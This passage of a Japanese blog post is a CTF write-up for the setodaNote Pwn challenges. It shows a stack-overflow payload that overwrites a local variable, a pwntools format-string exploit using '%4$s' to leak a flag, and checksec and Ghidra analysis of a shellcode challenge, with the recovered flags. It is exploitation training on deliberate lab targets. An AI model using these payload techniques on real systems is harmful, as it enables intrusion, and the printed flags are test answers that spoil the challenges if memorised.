    printf("       {____} I//|  |  |  |  |  | || || |  |  |  |  |  |\\\\I {____}\n");
    printf(" _!__!__|= |=/|/ |  |  |  |  |  | || || |  |  |  |  |  | \\|\\=|  |__!__!_\n");
    printf(" _I__I__|  ||/|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|\\||- |__I__I_\n");
    printf(" -|--|--|- ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||= |--|--|-\n");
    printf("  |  |  |  || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||  |  |  |\n");
    printf("  |  |  |= || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||= |  |  |\n");
    printf("  |  |  |- || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||= |  |  |\n");
    printf("  |  |  |- || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||- |  |  |\n");
    printf(" _|__|__|  ||_|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|_||  |__|__|_\n");
    printf(" -|--|--|= ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||- |--|--|-\n");
    printf("  |  |  |- || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||= |  |  |\n");
    printf(" ~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^~~~~~~~~~~~\n");    
    printf("\n");
    
    printf("You'll need permission to pass. What's your name?\n> ");
    scanf("%32[^\n]", name);
    if (strcmp(gate,"open")==0) {
        printFlag();
    }else{
        printf("Gate is %s.\n", gate);
        printf("Goodbay %s.\n", name);
    }
    return 0;
}

ユーザの入力を受け付ける scanf("%32[^\n]", name); は、少し見慣れない書き方です。%[...] は文字セット指定子と呼ばれ、[] 内に許可する文字を指定します。それ以外の文字が入力されると終了します。%32 の部分は、入力文字数を32文字までに限定できます。つまり、改行が入力されるまで、最大31文字(NULL文字が入るため)を受け付けるということです。

ローカルで試してみます。name という変数は、ヌル文字を含めた 16文字しか格納できないので、多少おかしなことになっていますが、確かに 32文字を受け付けています。

Gate is close と表示されるはずが、数字になってますね。スタックオーバーフローして、ローカル変数が書き換えられたということだと思います。

$ chmod +x gate

$ ./gate
You'll need permission to pass. What's your name?
> 012345678901234567890123456789012
Gate is 678901.
Goodbay 01234567890123456789012345678901.

方針としては、スタックオーバーフローで、ローカル変数の gate を書き換えて、フラグを読み出す、になります。では、GDB で、スタックの細かい配置を確認してみます。プログラムも短いので、Ghidra による静的解析はスキップします。

起動直後に、逆アセンブラを表示したところです。+4 で、ローカル変数を 32byte 確保して、それ以降で初期化しています。

gdb-peda$ disas
Dump of assembler code for function main:
   0x0000555555555198 <+0>:     push   rbp
   0x0000555555555199 <+1>:     mov    rbp,rsp
=> 0x000055555555519c <+4>:     sub    rsp,0x20
   0x00005555555551a0 <+8>:     mov    DWORD PTR [rbp-0x6],0x736f6c63
   0x00005555555551a7 <+15>:    mov    WORD PTR [rbp-0x2],0x65
   0x00005555555551ad <+21>:    mov    QWORD PTR [rbp-0x20],0x2e2e
   0x00005555555551b5 <+29>:    mov    QWORD PTR [rbp-0x18],0x0
   0x00005555555551bd <+37>:    mov    edi,0xa
   0x00005555555551c2 <+42>:    call   0x555555555030 <putchar@plt>

スタックを表にしてみます。16byte + 10byte に任意の値を書き込んで、その後に、open とヌル文字を入れたら、クリアできそうです。

アドレス サイズ 内容 備考
rbp 8 1つ前のrsp
rbp-0x02 2 0x0065 65(e) 00
rbp-0x06 4 0x736f6c63 gate:63(c) 6c(l) 6f(o) 73(s)
rbp-0x10 10 10byte空き
rbp-0x18 8 0
rbp-0x20 8 0x2e2e name:2e(.) 2e(.)

ローカルでやってみます。OK です。ローカルなのでフラグのファイルはありませんが、このままリモートでやればフラグが獲得できるはずです。

$ python -c 'print("A" * 16 + "X" * 10 + "open" + "\x00")' |  ./gate

                                  {} {}
                          !  !  ! II II !  !  !
                       !  I__I__I_II II_I__I__I  !
                       I_/|__|__|_|| ||_|__|__|\_I
                    ! /|_/|  |  | || || |  |  |\_|\ !
        .--.        I//|  |  |  | || || |  |  |  |\\I        .--.
       /-   \    ! /|/ |  |  |  | || || |  |  |  | \|\ !    /=   \
       \=__ /    I//|  |  |  |  | || || |  |  |  |  |\\I    \-__ /
        }  {  ! /|/ |  |  |  |  | || || |  |  |  |  | \|\ !  }  {
       {____} I//|  |  |  |  |  | || || |  |  |  |  |  |\\I {____}
 _!__!__|= |=/|/ |  |  |  |  |  | || || |  |  |  |  |  | \|\=|  |__!__!_
 _I__I__|  ||/|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|\||- |__I__I_
 -|--|--|- ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||= |--|--|-
  |  |  |  || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||  |  |  |
  |  |  |= || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||= |  |  |
  |  |  |- || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||= |  |  |
  |  |  |- || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||- |  |  |
 _|__|__|  ||_|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|_||  |__|__|_
 -|--|--|= ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||- |--|--|-
  |  |  |- || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||= |  |  |
 ~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^~~~~~~~~~~~

You'll need permission to pass. What's your name?
/bin/cat: ./flag: No such file or directory
>

では、リモートでやってみます。

$ python -c 'print("A" * 16 + "X" * 10 + "open" + "\x00")' |  nc nc.ctf.setodanote.net 26501

                                  {} {}
                          !  !  ! II II !  !  !
                       !  I__I__I_II II_I__I__I  !
                       I_/|__|__|_|| ||_|__|__|\_I
                    ! /|_/|  |  | || || |  |  |\_|\ !
        .--.        I//|  |  |  | || || |  |  |  |\\I        .--.
       /-   \    ! /|/ |  |  |  | || || |  |  |  | \|\ !    /=   \
       \=__ /    I//|  |  |  |  | || || |  |  |  |  |\\I    \-__ /
        }  {  ! /|/ |  |  |  |  | || || |  |  |  |  | \|\ !  }  {
       {____} I//|  |  |  |  |  | || || |  |  |  |  |  |\\I {____}
 _!__!__|= |=/|/ |  |  |  |  |  | || || |  |  |  |  |  | \|\=|  |__!__!_
 _I__I__|  ||/|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|\||- |__I__I_
 -|--|--|- ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||= |--|--|-
  |  |  |  || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||  |  |  |
  |  |  |= || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||= |  |  |
  |  |  |- || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||= |  |  |
  |  |  |- || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||- |  |  |
 _|__|__|  ||_|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|_||  |__|__|_
 -|--|--|= ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||- |--|--|-
  |  |  |- || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||= |  |  |
 ~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^~~~~~~~~~~~

You'll need permission to pass. What's your name?
>
 =============================

     GREAT! GATE IS OPEN!!

 >> Flag is flag{Alohomora} <<

    *-*-*-*-*-*-*-*-*-*-*-*

 =============================

flag{Alohomora} でした。

100ポイント獲得して、計1400ポイントで、690名中、180位になりました!

Pwn はここまでにします。

1989(追記:2024/9/17)

200ポイントの問題です。

Pwnの1989問題
Pwnの1989問題

まずは、接続してみます。

うーん、意味が分かりませんね、CWE-134 を調べてみます。

$ nc nc.ctf.setodanote.net 26502
===========================================================
   _______          ________            __ ____  _  _
  / ____\ \        / /  ____|          /_ |___ \| || |
 | |     \ \  /\  / /| |__     ______   | | __) | || |_
 | |      \ \/  \/ / |  __|   |______|  | ||__ <|__   _|
 | |____   \  /\  /  | |____            | |___) |  | |
  \_____|   \/  \/   |______|           |_|____/   |_|

==========================================================

        |
flag    | [0x56652060] >> flag is here <<
        |

Ready > a
Your Inpur : a

CWE-134 は、書式文字列の問題らしいです。試しに書式文字列を入力してみます。以降、バナーは貼りません。

なるほど、入力した文字列が、printf関数にそのまま入力されてそうです。

Ready > AAAA%p,%p,%p,%p,%p,%p
Your Inpur : AAAA0xffa26220,0xffa26628,0x56652306,0x41414141,0x252c7025,0x70252c70

ちょうど、以下の本を読んでいるところでした。書式文字列攻撃について詳しく説明されていました。

上の実験で分かることは、以下です。

  • フラグのアドレスは 0x56652060 ということだと思う(アドレスは毎回変化する)
  • 32bitプログラム → 引数は全てスタックに積まれる
  • 何回やっても、4番目に AAAA が出現する
  • 入力した文字列をローカル変数(スタック)に取り込んでいる

%p は、単純に 16進数で表示しているだけです。代わりに %s を使うと、アドレス 0x41414141 に格納されている文字列を表示することが出来ます。

よって、0x41414141 ではなく、フラグのアドレスである 0x56652060 が格納されるようにして、4番目を %s にすれば、フラグが表示されるはずです。

つまり、AAAA の代わりに、0x56652060 を与えればいいということになります。

フラグのアドレスは毎回変わるので、Python で実装します。

今回必須ではないですが、printf関数には、ダイレクトパラメータアクセスというのがあります(全ての処理系にあるわけではないかもしれません)。「セキュリティコンテストチャレンジブック CTFで学ぼう!情報を守るための戦い方」で、初めて知りました。

簡単に言うと、4番目の引数を文字列で表示したい場合に、%4$s を指定できます。何がうれしいかと言うと、たくさん %p を並べなくてもよくなります。

これらを踏まえた実装が以下です。

import os, sys
import argparse

from pwn import *

def main( args ):
    
    proc = remote( 'nc.ctf.setodanote.net', 26502 )
    
    cnt = 0
    while True:
        
        bstr = proc.recvline( timeout=2 )
        print( f"{cnt}: {bstr}, split(): {bstr.split()}" )
        
        if len(bstr) > 0:
            bstr_split = bstr.split()
            
            if b'flag' in bstr_split:
                
                adrs = int( bstr_split[2][1:-1], 16 )
                lst = [ (adrs      ) & 0xFF,
                        (adrs >>  8) & 0xFF,
                        (adrs >> 16) & 0xFF,
                        (adrs >> 24) & 0xFF ]
                
                #ss = adrs.to_bytes( 4, 'little' ) + "%p,%p,%p,%p,%p".encode('utf-8')
                #ss = adrs.to_bytes( 4, 'little' ) + "%p,%p,%p,%s,%p".encode('utf-8')
                ss = adrs.to_bytes( 4, 'little' ) + "%4$s".encode('utf-8')
                print( ss.hex() )
                
                bstr = proc.recv( timeout=2 )
                print( f"00: {bstr}" )
                
                proc.sendline( ss )
                
                bstr = proc.recv( timeout=2 )
                print( f"00: {bstr}" )
        
        else:
            cnt += 1

if __name__ == '__main__':
    
    main( args )

実行します。

$ python 1989.py
[+] Opening connection to nc.ctf.setodanote.net on port 26502: Done
0: b'===========================================================\n', split(): [b'===========================================================']
0: b'   _______          ________            __ ____  _  _   \n', split(): [b'_______', b'________', b'__', b'____', b'_', b'_']
0: b'  / ____\\ \\        / /  ____|          /_ |___ \\| || |  \n', split(): [b'/', b'____\\', b'\\', b'/', b'/', b'____|', b'/_', b'|___', b'\\|', b'||', b'|']
0: b' | |     \\ \\  /\\  / /| |__     ______   | | __) | || |_ \n', split(): [b'|', b'|', b'\\', b'\\', b'/\\', b'/', b'/|', b'|__', b'______', b'|', b'|', b'__)', b'|', b'||', b'|_']
0: b' | |      \\ \\/  \\/ / |  __|   |______|  | ||__ <|__   _|\n', split(): [b'|', b'|', b'\\', b'\\/', b'\\/', b'/', b'|', b'__|', b'|______|', b'|', b'||__', b'<|__', b'_|']
0: b' | |____   \\  /\\  /  | |____            | |___) |  | |  \n', split(): [b'|', b'|____', b'\\', b'/\\', b'/', b'|', b'|____', b'|', b'|___)', b'|', b'|', b'|']
0: b'  \\_____|   \\/  \\/   |______|           |_|____/   |_|  \n', split(): [b'\\_____|', b'\\/', b'\\/', b'|______|', b'|_|____/', b'|_|']
0: b'                                                        \n', split(): []
0: b'========================================================== \n', split(): [b'==========================================================']
0: b'\n', split(): []
0: b'        | \n', split(): [b'|']
0: b'flag    | [0x565c6060] >> flag is here << \n', split(): [b'flag', b'|', b'[0x565c6060]', b'>>', b'flag', b'is', b'here', b'<<']
60605c5625342473
00: b'        | \n\nReady > '
00: b'Your Inpur : ``\\Vflag{Homenum_Revelio_1989}\n'
Traceback (most recent call last):
  File "/home/user/svn/experiment/python/1989.py", line 59, in <module>
    main( args )
  File "/home/user/svn/experiment/python/1989.py", line 13, in main
    bstr = proc.recvline( timeout=2 )
           ^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py", line 498, in recvline
    return self.recvuntil(self.newline, drop = not keepends, timeout = timeout)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py", line 341, in recvuntil
    res = self.recv(timeout=self.timeout)
          ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py", line 106, in recv
    return self._recv(numb, timeout) or b''
           ^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py", line 176, in _recv
    if not self.buffer and not self._fillbuffer(timeout):
                               ^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py", line 155, in _fillbuffer
    data = self.recv_raw(self.buffer.get_fill_size())
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/sock.py", line 56, in recv_raw
    raise EOFError
EOFError
[*] Closed connection to nc.ctf.setodanote.net port 26502

flag{Homenum_Revelio_1989} でした。

200ポイント獲得して、計2710ポイントで、690名中、89位になりました!

Shellcode(追記:2024/9/18)

サーバとローカルファイルとがあります。普通に難しい pwn の問題っぽいです。

PwnのShellcode問題
PwnのShellcode問題

解凍すると、shellcode というファイルが得られます。

まず、表層解析です。strip されてなくて、スタック実行が許可されてます。実行してみましたが、よく分かりません。変なファイル(Windowsプログラム)じゃなくて良かったです(笑)。

$ file shellcode
shellcode: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0dfb33311207161fab6bf4b8dcd84364df9b280a, for GNU/Linux 3.2.0, not stripped

$ ../../../tools/checksec.sh-2.7.1/checksec --file=./shellcode
RELRO           STACK CANARY      NX            PIE          RPATH      RUNPATH      Symbols     FORTIFY  Fortified  Fortifiable  FILE
Partial RELRO   No canary found   NX disabled   PIE enabled  No RPATH   No RUNPATH   68 Symbols  No       0          1            ./shellcode

$ ./shellcode
       |
target | [0x7ffdb96913f0]
       |
Well. Ready for the shellcode?
> aa
aa

Ghidra で見てみます。main関数だけのようです。秘密の関数も特にありません。

undefined8 main(void)
{
  char local_58 [80];
  
  setvbuf(stdout,local_58,2,0x50);
  puts("       |");
  printf("target | [%p]\n",local_58);
  puts("       |");
  printf("Well. Ready for the shellcode?\n> ");
  __isoc99_scanf("%[^\n]",local_58);
  puts(local_58);
  return 0;
}

スタックバッファオーバーフローを、発生させて攻撃するのは間違いないですが、どうすればいいんでしょうか。あ、シェルコードを用意してくださいと書かれてますね。なるほどです。

以前1以前2 で、作ったシェルコードは ARM64用でした。今回は、x86-64 で作る必要があります。

以下の記事で、シェルコードを作りました。

daisuke20240310.hatenablog.com

flag{It_is_our_ch0ices_that_show_what_w3_truly_are_far_m0re_thAn_our_abi1ities} でした。

300ポイント獲得して、計3310ポイントで、702名中、65位になりました!

おわりに

今回は、setodaNote CTF Exhibition にチャレンジを開始しました。

問題数が多いですが、Network、Web、Rev、Programming、Pwn を優先的に取り組んでいこうと思います。

最後になりましたが、エンジニアグループのランキングに参加中です。

気楽にポチッとよろしくお願いいたします🙇

今回は以上です!

最後までお読みいただき、ありがとうございました。




以上の内容はhttps://daisuke20240310.hatenablog.com/entry/setodanotectfより取得しました。
このページはhttp://font.textar.tv/のウェブフォントを使用してます

不具合報告/要望等はこちらへお願いします。
モバイルやる夫Viewer Ver0.14